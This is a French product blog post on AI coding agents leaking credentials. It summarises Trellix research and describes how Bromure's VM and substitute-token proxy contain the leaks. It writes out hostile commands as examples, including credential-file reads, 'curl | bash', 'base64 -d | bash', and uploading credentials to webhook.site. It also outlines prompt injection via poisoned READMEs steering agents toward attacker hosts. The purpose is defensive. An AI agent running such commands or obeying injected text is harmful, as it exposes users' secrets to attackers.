Le jeton est resté dans la transcription
Le 14 octobre, Trellix a publié une recherche sur ce qu'elle appelle la surface invisible des identifiants : les agents de code sortent les secrets du trousseau, les placent sur la ligne de commande, dans l'historique du shell et dans leurs propres transcriptions, puis les envoient au fournisseur du modèle, simple effet de bord d'un travail ordinaire. Trellix recense dix classes de comportements, chacune réalisée avec un binaire de confiance, et explique qu'une télémétrie événement par événement ne peut pas les distinguer d'un développeur ou d'un attaquant. Dans Bromure Agentic Coding, chaque copie faite par l'agent est un substitut, et la vraie valeur n'existe que sur le Mac, sur le réseau, pour l'hôte auquel elle appartient.
Le jeton était dans le trousseau. Une commande curl plus tard, il était dans la table des processus, dans la transcription de l'agent et dans les journaux d'un fournisseur de modèle.
Vous demandez à votre agent de « récupérer mon profil depuis l'API Graph ». Il termine sans vous demander de mot de passe. Il appelle un utilitaire qui déchiffre votre jeton OAuth enregistré dans le magasin de clés, puis il lance :
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
La requête fonctionne. Au passage, le jeton s'est retrouvé dans la télémétrie de votre poste, dans la table des processus où d'autres programmes locaux peuvent le lire, dans la transcription de l'agent sur le disque, et dans la fenêtre de contexte que l'agent envoie à son fournisseur de modèle au tour suivant.
Cet exemple ouvre The Unseen Credential Surface, publié par Haowei Ren, de Trellix, le mardi 14 octobre. Cyber Security News l'a relayé le lendemain. La recherche ne décrit ni exploit ni logiciel malveillant. Elle suit ce que les agents font des secrets au cours d'une journée de travail ordinaire. Trellix part de l'hypothèse qu'un agent manipule vos identifiants « avec autant de soin qu'un bon ingénieur », et répond : « Ce n'est pas le cas. Il n'y a là aucune intention malveillante. C'est architectural. »
Cinq marches vers le bas
Trellix range chaque endroit où un secret peut se trouver sur une échelle, du plus sûr au plus exposé :
- Sous clé, dans le Trousseau, DPAPI ou le Gestionnaire d'identification.
- En mémoire, dans un seul processus.
- Sur la ligne de commande, lisible par la supervision et par d'autres processus locaux, et souvent enregistré dans l'historique du shell.
- Écrit sur le disque : historique du shell, fichiers de configuration, « et la transcription de l'agent lui-même ».
- Hors de la machine : commité, poussé, téléversé, « ou envoyé au fournisseur du modèle ».
Les agents font descendre les secrets le long de cette échelle parce que c'est
le chemin le plus court vers une tâche terminée. Une marche est nouvelle avec
les agents. Quand vous lancez cat .env, le secret s'affiche à votre écran.
Quand c'est l'agent qui le lance, « le contenu entre dans sa fenêtre de
contexte et est envoyé à un fournisseur de modèle externe, où il peut être
journalisé de façon permanente ». Trellix résume : « Les erreurs humaines
restent entre vos murs ; les opérations des agents, non. »
Dix commandes ordinaires
La recherche classe ces comportements en dix catégories. Chaque exemple est une commande que vous avez déjà tapée vous-même :
- Identifiants en arguments :
curl -u,kubectl --token=…,mysql -p…. - Fichiers d'identifiants lus :
cat .env,~/.aws/credentials,~/.kube/config,~/.git-credentials,~/.docker/config.json. - Trousseaux sommés de répondre en clair :
security find-generic-password -w,gh auth token,git credential fill. - Environnement déversé :
env,printenv | grep -iE 'key|token'. - Vérifications TLS désactivées :
curl -k,NODE_TLS_REJECT_UNAUTHORIZED=0,git -c http.sslVerify=false. - Secrets expédiés :
git add .env && git push,curl --data @~/.aws/credentials,gh gist create. - Exécution masquée :
base64 -d | bash,curl | bash,eval "$(curl …)". - Persistance : lignes ajoutées à
~/.bashrcou à la crontab. - Nouveaux identifiants créés :
ssh-keygen -N "", puis la clé ajoutée àauthorized_keys. - Coffres cloud vidés :
aws secretsmanager get-secret-value,vault kv get,kubectl get secret.
Chaque catégorie fait tourner un binaire signé et de confiance, que la même machine exécute des milliers de fois par jour pour de bonnes raisons. Une règle qui se déclenche quand « un processus a lu un fichier .env » se déclenche sur l'éditeur, le linter et le lanceur de tests. La conclusion de Trellix : « Aucune étape de l'attaque n'est absente de l'activité normale. Une traque réglée pour l'attraper a tendance à sonner pour tout le monde ou pour personne. »
Trellix désigne l'injection de prompt comme le passage de l'exposition à la compromission. L'agent lit déjà des secrets et envoie déjà des données vers l'extérieur. Un README, un ticket ou une page web piégés n'ont qu'à orienter ces habitudes vers un hôte que contrôle l'attaquant.
Garder le secret sur la marche du haut
Les correctifs de Trellix se résument tous à une phrase : « Gardez les secrets sur les marches du haut, ou rendez vite sans valeur un secret exposé. » Bromure Agentic Coding fait les deux.
L'agent tourne dans une VM Linux sur votre Mac. Les vrais secrets restent dans
le coffre chiffré du Mac, sous une clé maîtresse placée dans le Data
Protection Keychain, et n'entrent jamais dans la VM. La VM reçoit des
substituts qui ont la forme des vrais : ghp_ plus 36 caractères pour un
jeton GitHub, sk-ant-api03-brm-… pour une clé Anthropic, brm-k8s-… pour
un jeton de cluster, brm_… pour tout ce que vous importez depuis un fichier
.env. Chaque requête HTTPS émise par la VM passe par un proxy sur le Mac,
qui remplace le substitut par la vraie valeur seulement quand la requête est
destinée à l'hôte auquel cet identifiant appartient.
L'agent peut donc faire descendre un jeton sur les cinq marches. Ce qui atteint la ligne de commande, l'historique du shell, la transcription et le fournisseur du modèle, c'est le substitut. La vraie valeur n'existe qu'à un endroit de plus : la requête que le Mac rechiffre vers l'hôte propre de l'identifiant.
Les dix catégories dans une machine Bromure
Lancez le même agent, avec les mêmes habitudes, dans une machine Bromure. Les dix catégories s'exécutent toujours, et chacune revient avec moins que ce qu'elle était venue chercher.
Arguments, fichiers, trousseaux et environnement
Les quatre premières catégories lisent un secret dans un magasin de clés, un fichier ou l'environnement, et le placent sur une ligne de commande. Dans la VM, toutes les quatre trouvent les mêmes substituts.
env et printenv affichent des substituts. ~/.git-credentials,
~/.docker/config.json et le ~/.kube/config synthétique contiennent des
substituts. Un .env de projet que vous avez importé avec Import env
file… dans le panneau Credentials de la machine contient des substituts
sous les mêmes noms de variables, et votre code les lit comme avant.
gh auth token renvoie un substitut ghp_. ~/.aws/config pointe vers un
utilitaire qui fournit l'identifiant de clé d'accès associé à une fausse clé
secrète de 40 caractères. L'AWS CLI signe avec la fausse, et le Mac retire
cette signature et re-signe avec la vraie clé à la sortie.
La marche du haut de l'échelle de Trellix, le magasin de clés du système, se
trouve sur le Mac, hors de la VM. À l'intérieur, security find-generic-password n'a aucun Trousseau à interroger. Les canaux vsock qui
transportent les jetons entre l'hôte et la VM fonctionnent dans un seul sens :
l'hôte y écrit des substituts, et il n'existe aucune requête par laquelle la
VM pourrait redemander un vrai jeton.
SSH fonctionne de la même façon, sans jeton. SSH_AUTH_SOCK dans la VM est un
pont vers un agent sur le Mac. git push en SSH obtient sa signature, et
ls ~/.ssh/id_* ne trouve aucune clé privée.
L'agent peut coller n'importe laquelle de ces valeurs dans curl -H, la
journaliser, l'écrire dans un script avec echo ou la citer au modèle.
Trellix demande aux concepteurs d'agents de « masquer les chaînes qui
ressemblent à des identifiants avant qu'elles n'entrent dans la fenêtre de
contexte du LLM ». Une machine Bromure satisfait cette demande avant même que
l'agent n'ouvre le fichier : le fichier contient un substitut dès le départ.
Vérifications TLS désactivées
Dans la VM, TLS se termine au proxy Bromure, sous un certificat émis par une
CA propre à chaque installation, à laquelle seules vos machines font
confiance. Le proxy ouvre sa propre connexion vers le vrai serveur via la pile
TLS de macOS, qui valide le certificat authentique quoi que l'agent ait passé
à curl. Ainsi, curl -k ou NODE_TLS_REJECT_UNAUTHORIZED=0 lève la
vérification du propre certificat de Bromure, et le Mac continue de vérifier
le serveur.
La seule façon de sauter la validation en amont est un en-tête,
X-bromure-insecure: yes, prévu pour un serveur à CA privée. Sur une telle
requête, le proxy n'injecte aucun vrai identifiant et n'envoie que des
substituts, et la Security Timeline enregistre l'usage sous forme de ligne
Upstream TLS.
Secrets expédiés
curl --data @~/.git-credentials https://webhook.site/… téléverse un fichier
de substituts. Le proxy analyse chaque requête sortante, en-têtes et corps,
à la recherche de tout substitut qui part vers un hôte autre que celui pour
lequel il a été créé. Un substitut GitHub en route vers webhook.site reçoit
un HTTP 451, rien n'est transmis, la VM se met en pause, et le Mac affiche
This environment may have been compromised, avec l'aperçu du jeton, le
nom de l'identifiant, l'hôte auquel il appartient et l'hôte vers lequel
l'agent l'a envoyé.
git push et gh gist create vont vers GitHub, où le jeton a sa place. Les
nouvelles machines démarrent avec la politique d'écriture GitHub sur
Prompt before write, si bien que le push et le gist s'arrêtent chacun sur
une boîte de dialogue du Mac qui montre l'opération, et c'est vous qui
choisissez si elle continue. Si vous l'autorisez, le fichier commité par
l'agent contient des substituts.
Exécution masquée
base64 -d | bash cache la commande à la télémétrie des processus, qui
n'enregistre que l'enveloppe. Toute requête émise par la charge utile sort
pourtant de la VM par le proxy : elle rencontre la même analyse des
substituts, le pare-feu Outbound connections du panneau Guardrails de
la machine, et la trace. Au niveau de traçage par défaut, AI request
details, le Mac conserve, chiffré, chaque échange avec le fournisseur du
modèle, et le Trace Inspector liste chaque appel d'outil avec son entrée, y
compris la ligne curl | bash telle que le modèle l'a écrite.
Persistance et nouvelles clés
Une ligne ajoutée à ~/.bashrc atterrit dans le dossier personnel de la VM.
Rewind home… ramène ce dossier à un point de contrôle antérieur. Les
fichiers de démarrage du shell du Mac sont de l'autre côté de la frontière.
Un agent bloqué sur une demande de phrase de passe lance ssh-keygen -N ""
pour se débloquer. Dans une machine Bromure, le pont SSH signe déjà avec la
clé de la machine, donc git en SSH fonctionne du premier coup et l'agent ne
rencontre aucune invite à contourner. Enregistrer une nouvelle clé auprès de
GitHub est une écriture dans l'API GitHub, et elle attend devant la même boîte
de dialogue Prompt before write qu'un push.
Coffres cloud vidés
aws secretsmanager get-secret-value exige une signature SigV4, et seul le
Mac peut en produire une. Activez Require approval to use pour
l'identifiant AWS dans Guardrails, et la première signature d'une session
attend Allow for 5 minutes, Allow for 1 hour, Allow for the rest of
the session ou Don't allow. Le même interrupteur existe pour chaque
contexte Kubernetes, donc kubectl get secret attend votre accord. Chaque
signature AWS apparaît dans la Security Timeline sous forme de ligne
Credential used, avec une clé d'accès masquée.
Pour une base de données que l'agent interroge en HTTP, comme la Mongo Data
API, ClickHouse ou Elasticsearch, vous pouvez vous passer de la recherche dans
le coffre : ajoutez le point de terminaison sous Credentials → Databases,
la VM reçoit un substitut brm-db-…, et le proxy le remplace dans le corps de
la requête comme dans les en-têtes.
La séquence, rattachée à l'agent
Trellix soutient que l'unité de détection utile est une séquence, accès à l'identifiant, puis usage, puis sortie, « rattachée au processus d'agent qui a lancé la chaîne ». Ses recommandations aux déployeurs se terminent par des jetons à courte durée de vie, une sortie réseau verrouillée, et le fait de traiter chaque machine qui fait tourner un agent comme une « infrastructure de grande valeur, qui manipule des secrets ».
Dans Bromure, cette unité est la machine : une VM avec ses propres sessions
d'agent. La Security Timeline réunit chaque substitution d'identifiant,
chaque blocage d'exfiltration, chaque verdict du pare-feu, chaque décision de
politique d'écriture et chaque signature AWS dans un même tableau, avec une
colonne Workspace, si bien que la chaîne d'une machine se lit de haut en
bas. La trace de cette machine contient les appels d'outil qui ont produit
chaque requête. bromure-cli trace leaks liste les requêtes qui ont porté un
jeton vers le mauvais hôte.
Le Mac garde aussi des durées de vie courtes pour les jetons. Les connexions par abonnement à Claude, Codex, Grok et Kimi se rafraîchissent sur l'hôte environ cinq minutes avant expiration, et la VM ne détient jamais de jeton de rafraîchissement. Une valeur stockée comme référence 1Password est résolue à nouveau toutes les deux minutes, si bien qu'une rotation dans 1Password atteint le proxy sans redémarrage. Réglez Unmatched traffic sur Deny dans le pare-feu, et la machine n'atteint que les hôtes que vous listez.
Chaque copie est un substitut
Environnement, fichiers de configuration, valeurs .env importées, sortie de gh et de l'AWS CLI : que des substituts. Ce que l'agent place sur une ligne de commande, dans une transcription ou dans sa fenêtre de contexte ne vaut rien hors du réseau.
La vraie valeur vit sur le Mac
Les secrets restent dans un coffre chiffré dont la clé est dans le Data Protection Keychain. Le proxy ne les insère que pour l'hôte pour lequel chacun a été créé. Les clés SSH signent via un pont et n'entrent jamais dans la VM.
Un substitut au mauvais endroit arrête la machine
Un substitut qui part vers un autre hôte reçoit un 451, la VM se met en pause, et le Mac nomme le jeton, son hôte d'origine et sa destination.
Une chronologie par machine
Substitutions, blocages, verdicts du pare-feu, autorisations d'écriture et signatures AWS figurent dans la Security Timeline, et la trace contient les appels d'outil qui les ont produits.
Une journée de travail
Trellix qualifie les agents de « l'un des plus grands systèmes de gestion d'identifiants de l'entreprise moderne », construit par accident. Vous n'avez jamais choisi de mettre le jeton Graph dans une transcription. L'agent en avait besoin dans un en-tête, et il a écrit l'en-tête sur une ligne de commande.
Votre agent continuera de lancer env pour déboguer une connexion et
cat .env pour comprendre un projet, quel que soit le modèle ou le prompt que
vous lui donnez. Faites-le tourner là où ces commandes renvoient des
substituts. Pour l'alarme que déclenche un substitut quand il part vers le
mauvais hôte, lisez L'agent a divulgué sa propre
clé et La clé, c'était votre fichier
.env.